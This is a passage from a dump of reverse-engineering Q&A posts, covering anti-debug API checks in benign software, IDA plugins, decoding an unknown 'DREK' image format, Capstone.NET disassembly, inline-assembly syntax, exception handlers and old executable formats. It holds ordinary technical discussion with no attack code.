    I am new to malware analysis .. and I was analyzing some 'windows' apps and found functions that I thought it exist only on malware, is this possible or there is something wrong with my analysis ? \nI am using Cuckoo sandbox .. the functions are: SetWindowsHookExA, IsDebuggerPresent .. and others as well

    \n\n

    One of the app examples is AcroRd32.exe: \nIt calls IsDebuggerPresent .. and this is its page on virustotal including all the information related to the sample in addition to the MD5.\nhttps://www.virustotal.com/en/file/9e702e7b53f6f00e344a1cb42c63eaf4d52ed4adb5407744a654753569044555/analysis/

    \n", "Title": "Can benign applications have such APIs?", "Tags": "|winapi|malware|benign|", "Answer": "

    Yeah, there are definitely legitimate use cases for both IsDebuggerPresent and SetWindowsHookExA common windows functions.

    \n\n

    I propose you a simple experiment you can try, take this little legitimate c++ snippet of mine:

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n\nvoid main(int argc, char* argv[]) {\n    printf(\"Hello world\\n\");\n    while(true) {\n        printf(\"Debugger present: %d\\n\", IsDebuggerPresent());\n        Sleep(200);\n    }\n    system(\"pause\");\n}\n
    \n\n

    Build it with your favourite c++ windows compiler and run it. Now, take your favourite debugger, I recommend you x64dbg and try this:

    \n\n\n\n

    By doing so, you'll understand the very basics about IsDebuggerPresents.

    \n\n

    About SetWindowsHookExA, I've seen it used on legit apps countless times so I can guarantee you is definitely not a microsoft function whose purpose is to be used on \"naughty\" apps :)

    \n" }, { "Id": "13206", "CreationDate": "2016-08-04T15:21:24.103", "Body": "

    I'm interested in writing a network component to my IDAPython plugin, and QtNetwork looks really attractive, however it isn't include-able from IDAPython shell.

    \n\n

    Is there a simple way to add that functionality?

    \n\n

    Thanks.

    \n", "Title": "QtNetwork in IDA's PyQt5", "Tags": "|ida|idapython|python|", "Answer": "

    The official response I got from hex-rays states they rather avoid shipping too many third party libraries bundled with IDA if said libraries will not be helpful for the majority of users.

    \n\n

    They suggested compiling the necessary Qt libraries myself and bundling the resulting packages with the plugin, but unfortunately this will be a nightmare to maintain (carrying out those packages for every IDA version).

    \n\n

    Although using QNetwork will have some advantages (like clean async operation), my original goal was ease of maintenance and this is better achieved by using a python library like requests. That's probably the direction I'll be taking.

    \n\n

    the full response is this:

    \n\n
    \n

    We don't, because the disadvantages would far surpass the benefit.\n That is, we would have to ship many more libraries (no reason to stop\n to QtNetwork), that probably < 1% our users need, and adding that much\n bloat for such little benefit, doesn't really make sense to us.

    \n \n

    That being said we provide instructions + patch to re-build it yourself\n from the original Qt 5.4.1 sources:\n - http://www.hexblog.com/?p=969

    \n \n

    With those you should obtain a new Qt build, that corresponds to\n the one we're shipping, ... plus those libraries we don't ship\n (and PDBs, of course.)

    \n
    \n\n

    They also went on and explained why Python/PyQt/QtWidgets.pyd are indeed shipped rather surprisingly:

    \n\n
    \n

    A valid question would be: why ship python/PyQt5/QtWidgets.pyd then?\n ..well, there really is no reason. This is a mistake.

    \n
    \n\n

    And finished by tipping off about an upcoming new minor release:

    \n\n
    \n

    PS: We are a few days away from a new release (IDA 6.95), that will ship\n with Qt 5.6.0, which is a long-term release (i.e., 3 years support +\n bugfixes.)

    \n
    \n\n

    Noting the complexities of bundling additional IDA-QT libraries with plugins:

    \n\n
    \n

    Unless you really have to build specifically for IDA 6.9 (and thus\n Qt 5.4.1), perhaps it's best to wait for the new release, in order to\n not have to do it twice? (I'll write a similar blog post with configure\n options + patch for IDA 6.95)

    \n
    \n" }, { "Id": "13212", "CreationDate": "2016-08-05T07:23:21.640", "Body": "

    There are several statistics and numbers out there of current malware families and their distributions.

    \n\n

    However, I'am looking for statistics which shows the distribution of malware differed by their obfuscation types, i.e. current distribution of encrypted, oligomorphic, polymorphic, metamorphic in the wild.

    \n\n

    So far I mainly focused reports lastly published by AV vendors, but couldn't find anything useful.

    \n", "Title": "Distribution of malware obfuscation types", "Tags": "|malware|obfuscation|", "Answer": "

    Unfortunately it seems so that there are no existing publications/statistics from av vendors. Reffered to [A] and the mentioned entropy analysis, 90% of the used samples are obfuscated by a polymorphic technique.

    \n\n
    \n

    [A] Toward Generic Unpacking Techniques for Malware Analysis with\n Quantification of Code Revelation - 2009

    \n
    \n\n

    Perhaps a own analysis could help with a bigger set of malware samples. The following \"evalualtion\" of me was done with the public available kaggle malware set. Even if it is not a clear classifcation of the used obfuscation technique of the families, hopefully this approach could help you out or point you to the right direction. \nI did the classifaction with the help of different statistics like entropy value, chi-square distribution and a pi approximation.

    \n\n
    NORM    COMPR   ENCR\n-----------------------------------------\n581     691     260      Ramnit      \n2475    3       0        Lollipop \n0       10      2932     Kelihos_ver3    \n6       51      418      Vundo   \n3       22      18       Simda  \n233     260     258      Tracur   \n387     4       7        Kelihos_ver1 \n524     667     37       Obfuscator  \n779     219     15       Gatak  \n\nNORM  = non-obfuscated characteristics (i.e. not compressed/encrypted)\nCOMPR = compressed or packed characteristics\nENCR  = encrypted characteristics\n
    \n" }, { "Id": "13221", "CreationDate": "2016-08-06T23:08:29.917", "Body": "

    There are some unknow images, which I would like to decode to RRGGBBAA format. It was a really hard work, but at the moment I can somewhat understand, that which part of the binary is responsible for what. But I'm stuck at the end, and I have no idea how to continue it. This is what I've found out:

    \n\n

    I know, that the size of the first image is a 9*3.

    \n\n

    There is some kind of table at the begining of the file:

    \n\n
    0x08 0x08 0x10\n0x08 0x08 0x08\n0x00 0x00 0x00\n0x10 0x10 0x18\n0x18 0x18 0x20\n0x10 0x14 0x18\n0x08 0x08 0x10\n
    \n\n

    And this is the image data:

    \n\n
    0x09 0x00 0x03 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00\n0x0c 0x00 0x00 0x00 0x00 0x01 0x03 0x09 0x01 0x01 0x02 0x11 0x01 0x01 0x02 0x02\n0x01 0x0f 0x0f 0x03 0x0a 0x03 0x08 0x05 0x08 0x04 0x08 0x03 0x09 0x00 0x09 0x00\n0x0c 0x00 0x02\n
    \n\n

    The number of elements in the table can be divided by three, so I think it is some kind of RRGGBB palette.

    \n\n

    But I have no idea, how to decode the imagedata. It's size is not 9*3, so It may be compressed. It is a really small image, and I think that this is why the compression made the binary bigger than it was before.

    \n\n
    \n\n

    Edit:

    \n\n

    I've uploaded this file here: Download file

    \n\n

    I've colored it, to better understand it's structure.

    \n\n

    The first part of the file:

    \n\n

    \"hex1\"

    \n\n\n\n

    The second part of the file:

    \n\n

    \"hex2\"

    \n\n\n\n
    \n\n

    I've uploaded two more files.

    \n\n\n\n

    The bigger file has a resolution of 800*600 And I suspect it is this one (screenshot):

    \n\n

    \"bacground\"

    \n\n

    At the beginning (from 3C0), only the the first two or three bytes are set in each 4 byte group. From 0xD28, I cannot recognise any pattern.

    \n\n
    \n\n

    Edit2:

    \n\n

    Spektre's code works with most of the files. But there are some small icons, with transparency, which look distorted.

    \n\n

    For example this icon: Download

    \n\n

    And this is how it looks like, over a brownish background:

    \n\n

    \"icon\"

    \n\n

    In this case, the scanlines are not fixed-width. And the unknown 252 flags at the beginning of each scanline, and 254 flags after every 32bytes are also different.

    \n\n

    I can recognise patterns and symmetry in the binary, but I haven't figured out yet, how it works.

    \n\n

    I've colored the scanlines of the icon's imagedata, to have a better overview:

    \n\n

    \"icon

    \n\n

    Many of them starts with, and all of them ends with 0x02

    \n\n
    \n\n

    Edit3:

    \n\n

    I uploaded some images, with screenshots:

    \n\n\n\n

    I uploaded two more images, which I found distorted. The first is an icon, which is almost perfect. And the second one is a dragon, which is barely recognisable. Unfortunately I cannot provide screenshots for this two: Download

    \n\n

    I implemented the core algorithm ( from Spektre's answer ) in JS. It can be found, and edited online here: JSFiddle link

    \n\n
    \n\n

    Edit4:

    \n\n

    I've made some progress with the mountain, and the dragon.

    \n\n

    I think, that the first 7 bits of the flag byte shows, on which x coordinate the line starts ( \u00b4xstart = flag>>1;\u00b4 ). The least significant bit is a switch, which marks, that the line has this offset or not. You can try/edit the current code here: JSFiddle link

    \n\n

    The result is this:

    \n\n

    \"mountain_progress\"

    \n\n

    The expected result would be similar to this (which is not far):

    \n\n

    \"mountain\"

    \n\n

    The distorted parts around the mountain are shadow/transparency, but I still wasn't be able to find any marks/flags about where the blocks with alpha values start and end.

    \n\n
    \n\n

    Edit5:

    \n\n

    I think, I've found a pattern in the mountain image. After the flag byte, the next byte may show, (flag2>>1), how many (Color, Alpha) blocks are at the beginning of the line.

    \n\n

    The left side of the mountain looks slightly better now:

    \n\n

    \"mountain

    \n\n

    Unfortunately this change breaks the other images

    \n", "Title": "Decoding an unknown image format with \"DREK\" signature (*.drk)", "Tags": "|binary-analysis|file-format|unpacking|decompress|binary-diagnosis|", "Answer": "

    I was able to decode the images. Spektre did a great job detecting the files structure, and the debug view was really helpful in the process. I implemented the algorithm in JS, and the source code is available here: https://github.com/K-Adam/DrekDecoder

    \n\n

    Summary

    \n\n

    Each line starts with a flag byte. It tells the decoder how many pixels to write and which mode to use. There are three possible write modes:

    \n\n\n\n

    In opaque mode each pixel is represented by one byte, which references an RGB color in the palette. In transparent mode, the pixels are pairs of bytes: [Alpha, ColorIndex]

    \n\n

    After each sequence a control byte follows. Its structure is different from the flag byte, and also different in each writing mode. This control byte will tell how many pixels to write and which mode to use next, or if the end of the line is reached.

    \n\n

    Details

    \n\n

    Flag byte

    \n\n

    If the flag is zero (flag == 0x0), then the line is empty.

    \n\n

    If the LSB is set (flag & 0b1) then there is an offset at the beginning of the line, and the decoder will start in Skip mode. The rest of the bits will represent the length of the offset (flag >> 1) + 1

    \n\n

    If the second bit is set then transparent, otherwise opaque mode will be used:

    \n\n
    mode = (flag & 0b10) ? Transparent : Opaque\n
    \n\n

    The number of pixels can be found in the 5 MSB (flag >> 3) + 1

    \n\n

    Skip mode

    \n\n

    The decoder will simply write n empty pixels to the output. The next byte will be a control byte.

    \n\n

    If LSB is set, then the decoder will switch to transarent mode. The other 7 bits represent the number of transparent pixels.

    \n\n

    If the three LSB is 0b100 then the decoder will continue in Skip mode, otherwise it will change to Opaque mode. The other bits represent the number of pixels (vv >> 3) + 1

    \n\n

    Opaque mode

    \n\n

    Each data byte references an RGB color in the palette.

    \n\n

    If the LSB is set, then the decoder will switch to transparent mode for (v1 >> 1) + 1 pixels. Otherwise the three LSB of the control byte is the flag:

    \n\n\n\n

    The rest is the number of pixels (v1 >> 3) + 1.

    \n\n

    Transparent mode

    \n\n

    The transparent blocks are represented by sequence of pairs: [Alpha, Color]. The 5 MSB of the alpha byte is the transparency (0-32). The color byte references an RGB color in the palette.

    \n\n

    The two LSB of the control byte is a flag:

    \n\n\n\n

    The rest of the bits is the number of pixels (v1 >> 2) + 1, except for transparent mode, where it is (v1 >> 3) + 1

    \n\n

    Decoding process

    \n\n

    Since the colors are referenced by index, two bytes are needed to represent a transparent pixel. By looking at the bottom-left part of the mountain, it was clear from those alternating patterns, that it has to be transparent there. The colors around the round icons were also not right, so I suspected that the outer pixels are half transparent as well.

    \n\n

    In the large image 0xFE appears after each 32 bytes. It does not reference a color from the palette, so it has to be some kind of control byte.

    \n\n

    Then I started to write down the bytes in binary, where the color seemed not right. I grouped these values by where by where they appear, and then I spotted, that the least significant bits are similar on the boundary of transparent and opaque regions.

    \n\n

    After further analysis, when I was able to decode the smaller icons by hand, I implemented the algorithm, and tested it for larger ones. From there, it was easy to eliminate the remaining anomalies in the result.

    \n" }, { "Id": "13236", "CreationDate": "2016-08-08T17:48:02.293", "Body": "

    I have a DOS executable which has been compiled with Watcom C/C++ 10.0.

    \n\n

    That EXE has debug symbols inside. I was wondering if there is any tool that allow to dump or extract that debug information (eg : to a text file) I'm looking to something like TDUMP for Borland C/C++ compiler.

    \n", "Title": "How to extract debug information from a DOS executable compiled with Watcom C/C++?", "Tags": "|c|debugging-symbols|dos-exe|", "Answer": "

    OpenWatcom includes the wdump utility which can dump the debug info (if it's present).

    \n" }, { "Id": "13239", "CreationDate": "2016-08-03T11:58:03.213", "Body": "

    I want to be able to do what an ordinary disassembler does\u2014list the assembler instructions of an arbitrary executable\u2014but from C#. It would consist, for instance, of finding a specific instruction from its address and determining which memory address is accessed by it.

    \n\n

    Any Google search I tried leads me rather to the resources which explain how to decompile C# applications themselves in order to get IL bytecode. Except that I don't care about IL bytecode: what I want is to get the actual instructions of any app, including ones written in plain C or any other language.

    \n\n

    In other words, I want the same thing as in How can I see the assembly code for a C++ program? question, but to be able to do it programmatically instead of using a GUI tool.

    \n\n

    How do I do that?

    \n", "Title": "How can I read the assembly instructions of a C program from C#?", "Tags": "|c#|assembly|disassemblers|", "Answer": "

    here is a possible way and it is open source
    \ncapstone.NET

    \n\n
    :\\>nuget list capstone*\nGee.External.Capstone 1.2.2    \n:\\>cd Desktop    \n:\\>md capnet    \n:\\>cd capnet    \n:\\>nuget install Gee.External.Capstone\nSuccessfully installed 'Gee.External.Capstone 1.2.2' to C:\\xxx\\capnet    \n:\\>md testcap    \n:\\>cd testcap    \n:\\>copy ..\\Gee.External.Capstone.1.2.2\\content\\capstone.dll .\n        1 file(s) copied.    \n:\\>copy ..\\Gee.External.Capstone.1.2.2\\lib\\net45\\Gee.External.Capstone.dll .\n        1 file(s) copied.    \n:\\>cat capy.cs\nusing System;\nusing Gee.External.Capstone;\npublic class Dissy\n{\n    public static void Main()\n    {\n        var dis = CapstoneDisassembler.CreateX86Disassembler(DisassembleMode.Bit32);\n        var code = new byte[] {  0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81 };\n        var res = dis.DisassembleAll(code);\n        foreach(var a in res) {\n            Console.WriteLine(\"{0}\\t{1}\",a.Mnemonic , a.Operand);\n        }\n    }\n}\n:\\>csc /r:Gee.External.Capstone.dll capy.cs\nMicrosoft (R) Visual C# Compiler version 1.1.0.51109\nCopyright (C) Microsoft Corporation. All rights reserved.   \n\n:\\>capy.exe\nlea     ecx, dword ptr [edx + esi + 8]\nadd     eax, ebx\n
    \n" }, { "Id": "13253", "CreationDate": "2016-08-10T18:10:19.563", "Body": "

    How do i reverse engineer every single aspect and functionality of a website so that i get an exact fully working copy of it?. All interactions including JavaScript, cascade style sheets, PHP to make a perfect clone of it?

    \n", "Title": "Reverse engineering a whole website", "Tags": "|websites|", "Answer": "

    You may be able to reverse engineer the Javascript, CSS, and HTML, but not PHP or ASP. Using PHP as an example, if you have a command echo \"foo\";, the echo code gets executed on the server itself, and you see only the \"foo\" in the HTML you get. If you want to get PHP, you should test the functionality of the webpage, and hand-code the PHP accordingly.

    \n\n

    You do not need to reverse-engineer CSS. You can simply copy it from the HTML if it's inline, and cURL the CSS from the link element, or simply use Chrome's dev tools to find the location and source.

    \n\n

    To reverse-engineer Javascript, I heavily recommend using Chrome's developer tools. Features include a JS console, pretty printing (making obfuscated code way easier to read by spacing out), a timeline to see when different functions are called, a debugger with breakpoints, and a sources section to see the script's location.

    \n" }, { "Id": "13256", "CreationDate": "2016-08-11T07:14:48.540", "Body": "

    Hopefully this question isn't get marked as Duplicate, since it differs from the following question:\nWhere can I, as an individual, get malware samples to analyze?

    \n\n

    I'm looking for samples (ideally malware) which have already been disassembled. The only useful resource which I could found so far was a dataset provided on kaggle. However, the only note how the ASM files have been generated is:

    \n\n
    \n

    This was generated using the IDA disassembler tool.

    \n
    \n\n

    My problem:\nThere are no details about the specifice process of disassembling: I could not find any additional information if or how the disassembler considers special obfuscation mechanisms and if it could be ensured, that the files contain meaningful assembler instructions.

    \n\n

    To recall the question: I'm looking for malware samples (windows) with the corresponding disassembly to download in bulk, which have been ideally counterchecked for meaningful instructions (e.g. constant code of the malware).

    \n", "Title": "Malware samples to analyze with existing disassembly?", "Tags": "|disassembly|windows|malware|pe|", "Answer": "

    The archive of disassembled and analysed malware does not exist - at least I haven't heard of any good ones. The closest I can think of is labs files from \"Practical Malware Analysis\", at https://practicalmalwareanalysis.com/labs/. Each of the files is described and analysed in the \"Answers\" section of the book, including IIRC obfuscated samples, but actual disassembling is left as an exercise for the reader :)

    \n\n

    Another way to achieve your goal is to look for summary articles on topics that interest you, such as https://www.virusbulletin.com/virusbulletin/2014/07/obfuscation-android-malware-and-how-fight-back (Android in this case), take hashes listed in them and download (bulk or not, up to you) samples from VirusTotal.

    \n\n

    A rather dated Windows malware analysis set of tutorials with emphasis on reversing - https://fumalwareanalysis.blogspot.com.au/p/malware-analysis-tutorials-reverse.html

    \n" }, { "Id": "13261", "CreationDate": "2016-08-11T14:17:50.960", "Body": "

    I am currently learning how to hook some functions, and I simply want to insert this simple inline assembly:

    \n\n
    __asm {\n    CMP [ebp + 8], 1\n    JNZ short 01311723\n    jmp [jmpBackAddy]\n}\n
    \n\n

    But Visual Studio gives me that error:

    \n\n
    \n

    Severity Code Description Project File Line Suppression State\n Error C2400 inline assembler syntax error in 'first operand'; found 'constant'

    \n
    \n\n

    What am I doing wrong? I though I can copy out the assembly of OllyDbg but Visual Studio does not accept it

    \n", "Title": "Inline assembly does not compile", "Tags": "|assembly|c++|function-hooking|", "Answer": "

    Yes 01311723 is a constant and compiler will not know what it is

    \n\n

    Neither would compiler know what jmpBackAddy is

    \n\n

    for constant you need to replace it with a label and define the label \nfor a label you need to define it in the asm src code

    \n\n
    #include <windows.h>\n#pragma comment(lib ,\"user32.lib\")\n#pragma comment(lib ,\"kernel32.lib\")\nint CALLBACK WinMain( _In_ HINSTANCE,  _In_opt_ HINSTANCE, _In_ LPSTR, _In_ int)\n{\n    MessageBoxA(NULL,\"Hello World\",\"Hello World\",MB_OK);\n    jmpBackAddy:   <<< defined here  \n    __asm\n    {\n        CMP [ebp + 8], 1\n        JNZ short label\n        jmp [jmpBackAddy]\n    }    \nlabel:  < defined here \n    MessageBoxA(NULL,\"Hello jnz\",\"how are you jnz\",MB_OK);\n    ExitProcess(0);        \n}\n
    \n\n

    compiled and linked with

    \n\n
    cl /nologo /Zi /EHsc /O1 /analyze /W4 *.cpp /link /release /entry:WinMain\n\nMsgbox.cpp\ne:\\test\\msgbox\\msgbox.cpp(5) : warning C4740: flow in or out of inline asm code suppresses global optimization\n
    \n\n

    and disassembled

    \n\n
    Msgbox!WinMain:\n00021000 55              push    ebp\n00021001 8bec            mov     ebp,esp\n00021003 6a00            push    0\n00021005 6810200200      push    offset Msgbox!`string' (00022010)\n0002100a 6810200200      push    offset Msgbox!`string' (00022010)\n0002100f 6a00            push    0\n00021011 ff1508200200    call    dword ptr [Msgbox!_imp__MessageBoxA (00022008)]\n\nMsgbox!WinMain+0x17:\n00021017 807d0801        cmp     byte ptr [ebp+8],1\n0002101b 7502            jne     Msgbox!WinMain+0x1f (0002101f)\n\nMsgbox!WinMain+0x1d:\n0002101d ebf8            jmp     Msgbox!WinMain+0x17 (00021017)\n\nMsgbox!WinMain+0x1f:\n0002101f 6a00            push    0\n00021021 681c200200      push    offset Msgbox!`string' (0002201c)\n00021026 682c200200      push    offset Msgbox!`string' (0002202c)\n0002102b 6a00            push    0\n0002102d ff1508200200    call    dword ptr [Msgbox!_imp__MessageBoxA (00022008)]\n00021033 6a00            push    0\n00021035 ff1500200200    call    dword ptr [Msgbox!_imp__ExitProcess (00022000)]\n0002103b 5d              pop     ebp\n0002103c c21000          ret     10h\n
    \n" }, { "Id": "13277", "CreationDate": "2016-08-13T18:04:08.100", "Body": "

    The command bar at the bottom of the output window in IDA defaults to python. I would greatly prefer it to default to IDC, is there a way to change this default? I found one reference to RunPlugin(\"python\",4) in the idapython github repo, but it's not clear where it should be used. Adding the following line to plugins.cfg also has no effect.

    \n\n
    ;plugin_name                     filename    hotkey  arg  flags\n;------------------------------- ----------  ------  ---  --------\npython                           python       0       3\n
    \n", "Title": "IDA command bar default language", "Tags": "|ida|idapython|", "Answer": "

    After setting the CLI language to IDC by clicking on the button to the left of the CLI, right click in the CLI input area and click the option marked Default CLI

    \n\n

    \"enter

    \n\n

    \"enter

    \n" }, { "Id": "13286", "CreationDate": "2016-08-14T20:07:24.437", "Body": "

    I have an IDAPython script x.py which takes some arguments, which prevents me from simply using alt + F7 and selecting my script.

    \n\n

    How can I execute this script within IDA Pro and specify the arguments for the script?

    \n", "Title": "Executing an IDAPython script with arguments within IDA Pro", "Tags": "|ida|idapython|ida-plugin|", "Answer": "

    Naturally, the best way would be editing the script and have it ask the user for those parameters. IDA has quite a few ways of doing that. You could use one or several of the many idc.Ask* functions. Such as: AskYN, AskLong, AskSelector, AskFunction, AskFile and others. Sometimes when multiple input parameters are needd, it becomes inconvenient to ask for many speciif values, you could then create a full blown dialog instead.

    \n\n

    You could create a new process using popen or something similar, but I can't say I recommend doing that.

    \n\n

    If depends on how the python script you're trying to execute is implemented, but you're probably better off trying to include/import it in one pythonic way or another.

    \n\n

    Importing a protected module

    \n\n

    If the script is properly written, it probably wraps any execution functionality with an if __name__ == \"__main__\" clause, protecting such cases as executing when imported. If that's the case, simply import it with an import modulename and then call its main/whatever.

    \n\n

    Importing a sys.argv module

    \n\n

    If the module directly uses sys.argv and you cannot/would not prevent it from doing so, you can mock your sys.argv before importing the module. Simply doing something like the following should work:

    \n\n

    sys.argv = ['./script.py', 'command', 'parameter1', 'parameter2', 'optional']\nimport script\n

    \n\n

    Calling execfile of the file

    \n\n

    If neither of those approaches works for you, you can always directly call execfile and completely control the context in which the python script is executed. You should read the documentation of execfile and eval here and here, respectively.

    \n" }, { "Id": "13300", "CreationDate": "2016-08-18T00:36:05.590", "Body": "

    I was wondering if it was possible to change the value of a register when an instruction gets executed. For example

    \n\n
    0x10 call eax\n
    \n\n

    Say eax contains 0x20 at that point, I want to add 0x10 to it so that the address that gets called is now 0x30.

    \n\n

    What I tried doing was set a AddVectoredExceptionHandler and put an INT3 on 0x10. When my exception handler gets called, I restore the original byte at 0x10. Then I add 0x10 to eax and jump to ExceptionInfo->ContextRecord->Eip. This obviously doesn't work well because I never return to the OS.

    \n\n

    Is there another way or is this even possible?

    \n", "Title": "Is it possible to change the value of a register when a certain instruction is executed?", "Tags": "|windows|x86|exception|", "Answer": "

    Alright, so apparently you can just edit ExceptionInfo->ContextRecord->Eax inside your

    \n\n

    LONG CALLBACK VectoredHandler(\n _In_ PEXCEPTION_POINTERS ExceptionInfo\n);

    \n\n

    function and the OS will set the eax to that value when it returns the execution back to where the exception was(If you return EXCEPTION_CONTINUE_EXECUTION.)

    \n" }, { "Id": "13302", "CreationDate": "2016-08-18T08:37:11.987", "Body": "

    I have a few dusty old VAX VMS executable files I want to tease apart. I just can't seem to find a decent description of the file format. The best I've got is the \"VAX/VMS internals Student Workbook\", but I'd like something more authoritative.

    \n", "Title": "Is a machine-readable VMS executable file format description available?", "Tags": "|vax|vms|", "Answer": "

    I found some definitions in freevms-0_3_15.gz, in particular ihddef.h for the header and isddef.h for the sections. There is also some code which uses those structs to parse the executables:

    \n\n
      struct _isd * section=(unsigned long)buffer+ehdr32->ihd$w_size;\n\n  long symtab=0, symtabsize=0, symtabvbn=0, symstr=0, symstrsize=0, symstrvbn=0;\n\n  while (section<(buffer+512*ehdr32->ihd$b_hdrblkcnt)) {\n    if (section->isd$w_size==0)\n      break;\n    if (section->isd$w_size==0xffffffff) {\n      int no=((unsigned long)section-(unsigned long)buffer)>>9;\n      section=buffer+512*(no+1);\n      continue;\n    }\n    if (debug->ihs$l_dstvbn==section->isd$l_vbn) {\n      symtab=section->isd$v_vpn<<12;\n      symtabvbn=debug->ihs$l_dstvbn;\n      symtabsize=section->isd$w_pagcnt;\n    }\n\n    if (debug->ihs$l_dmtvbn==section->isd$l_vbn) {\n      symstr=section->isd$v_vpn<<12;\n      symstrvbn=debug->ihs$l_dmtvbn;\n      symstrsize=section->isd$w_pagcnt;\n    }\n\n    section=(unsigned long)section+section->isd$w_size;\n  }\n
    \n" }, { "Id": "13308", "CreationDate": "2016-08-18T17:45:14.143", "Body": "

    I'm working on a reverse engineering project with fat executables on OS X. So far I have established the structure of the fat_header, fat_arch and macho_header, but am having trouble finding documentation about the ordering of the fat_arch sections. Right now my project works by assuming that fat_arch sections appear in order of ascending offset fields. Is this assumption correct, or can the fat_arch sections appear in any order?

    \n", "Title": "Order of architecture headers in fat (universal) executables", "Tags": "|binary-analysis|executable|osx|binary-format|mach-o|", "Answer": "

    There is no reliable resource which gives an answer to the concrete question if a order exists or not. The question is why would you expect a fixed order of fat_arch sections?

    \n\n

    The kernel simply loads the Universal Binary at execution time, parses the fat_arch structure(s) and selects a matching architecture type. So in my understanding there is no need for a fixed (or expectable) order of the fat_arch sections.

    \n" }, { "Id": "13309", "CreationDate": "2016-08-18T19:47:44.800", "Body": "

    Right now I'm trying to solve r5 from here

    \n\n

    I've already tried to understand pseudo-code from Hooper

    \n\n
    function check_password {\n    var_28 = arg0;\n    if (strlen(var_28) != strlen(\"this_is_not_even_interesting_its_garbage\")) {\n            rax = 0xffffffff;\n    }\n    else {\n            strcpy(\"this_is_not_even_interesting_its_garbage\", var_28);\n            var_18 = 0x1;\n            while (var_18 != 0x0) {\n                    var_18 = 0x0;\n                    for (var_14 = 0x0; var_14 <= 0x27; var_14 = var_14 + 0x1) {\n                            if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) & 0xff) != 0x0) {\n                                    rax = random();\n                                    rcx = *(int8_t *)(sign_extend_64(var_14) + 0x6010a0) & 0xff & 0xff;\n                                    temp_3 = rax % rcx;\n                                    *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) = (*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) & 0xff) - temp_3 + 0x1;\n                                    var_18 = var_18 | *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) & 0xff & 0xff;\n                                    *(int8_t *)(sign_extend_32(var_14) + \"this_is_not_even_interesting_its_garbage\") = (*(int8_t *)(sign_extend_32(var_14) + \"this_is_not_even_interesting_its_garbage\") & 0xff) - temp_3 + 0x1;\n                            }\n                    }\n            }\n            rax = *master;\n            rax = strcmp(rax, \"this_is_not_even_interesting_its_garbage\");\n    }\n    return rax;\n}\n
    \n\n

    but it's too complicated for me right now. So I know that the password length should be 40 but how does the other part of the code work?

    \n\n

    The unclear parts are the unt8_t casts. I've used gdb to step through the code, and I saw the results of certain instructions but cannot understand why these are the results ?

    \n", "Title": "Wapiflapi reverse engeneering exercices", "Tags": "|decompilation|hopper|", "Answer": "

    Although OP clarified only the inner for is unreadable to him, I'll write an answer that thoroughly explains the first few lines and then abruptly stops at the most crucial part of the inner for loop. While believing examples are a great way to learn, I do that to make this as educational as possible, without interfering with the learning process of independently solving exercises. I am also unfamiliar with the specific set of exercises and would like to avoid providing full answers where those were not intended by the creator.

    \n\n

    I hope i hit that sweet spot of being educational enough yet not too much.

    \n\n

    Good luck with the exercise, here goes:

    \n\n

    var_18 = 0x1;

    \n\n

    Set an internal state to 1.

    \n\n

    while (var_18 != 0x0) {

    \n\n

    While state is True, continue executing loop's content. The state is actually a boolean indicating processing is not finished yet.

    \n\n

    var_18 = 0x0;

    \n\n

    Set internal state to zero at every outer loop iteration. This means every iteration must set the \"not finished yet\" flag.

    \n\n

    for (var_14 = 0x0; var_14 <= 0x27; var_14 = var_14 + 0x1) {

    \n\n

    Inner for iterates 0x28 times, 40 in decimal. Since we know this is the length of the entire string, we can assume the inner loop somehow iterates over all characters of the string. This might be a coincidence, but we should keep an eye for it.

    \n\n

    if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) & 0xff) != 0x0) {

    \n\n

    Now here it gets a little bit more complicated, so we'll split it to several parts:

    \n\n

    sign_extend_32(var_14)

    \n\n

    Since we know var_14 is a non negative integer between 0 and 39 (including), there's no meaning to sign-extending it. Sign-extending is basically the operation of converting a shorter length value to longer, taking the sign bit into account. See this for more info about sign-extension. This is either a compiler or decompiler artifact. A more advanced decompiler might have removed this.

    \n\n

    (int8_t *)(sign_extend_32(var_14) + 0x6010a0)

    \n\n

    Add our var_14 to a relatively long hex offset. By the looks of it, it's probably an offset to table of 40 bytes. This is learnt from experience, taking a look at value at that address might clear it up. Adding var_14 and then casting to an int8 pointer further suggests that's the case, using var_14 as the index in that table.

    \n\n

    (*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) & 0xff)

    \n\n

    If we weren't convinced yet, by now it's pretty clear as we read a byte from the resulting offset. AND-ing it with 0xff is yet another decompiler artifact, caused by how a compiler will read a byte in 64bit intel processors.

    \n\n

    if ((*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) & 0xff) != 0x0) {

    \n\n

    back to the full line, this is reading the byte from the table, and skipping the current iteraction of the inner loop.

    \n\n

    rax = random();

    \n\n

    Simple. Set a random value into rax.

    \n\n

    rcx = *(int8_t *)(sign_extend_64(var_14) + 0x6010a0) & 0xff & 0xff;

    \n\n

    This is actually quite identical to the condition from before, only now the value of that index in the table is stored into rcx.

    \n\n

    remaining lines of code

    \n\n
                                    temp_3 = rax % rcx;\n                                *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) = (*(int8_t *)(sign_extend_32(var_14) + 0x6010a0) & 0xff) - temp_3 + 0x1;\n                                var_18 = var_18 | *(int8_t *)(sign_extend_32(var_14) + 0x6010a0) & 0xff & 0xff;\n                                *(int8_t *)(sign_extend_32(var_14) + \"this_is_not_even_interesting_its_garbage\") = (*(int8_t *)(sign_extend_32(var_14) + \"this_is_not_even_interesting_its_garbage\") & 0xff) - temp_3 + 0x1;\n                        }\n                }\n        }\n        rax = *master;\n        rax = strcmp(rax, \"this_is_not_even_interesting_its_garbage\");\n}\nreturn rax;\n
    \n" }, { "Id": "13311", "CreationDate": "2016-08-18T22:58:33.783", "Body": "

    I'm an absolute beginner (just started learning about process memory a few hours ago).

    \n\n

    I'm trying to find the memory address for the color of Color 1 in mspaint using x64dbg.

    \n\n

    I know it's black, so I've tried searching for 000000, 0, 0, 0, Color 1, and Black in each of the boxes. (ASCII, UNICODE, Hex)

    \n\n

    I've gotten nowhere with that. Like I said, I'm a beginner, so this is all extremely foreign to me.

    \n\n

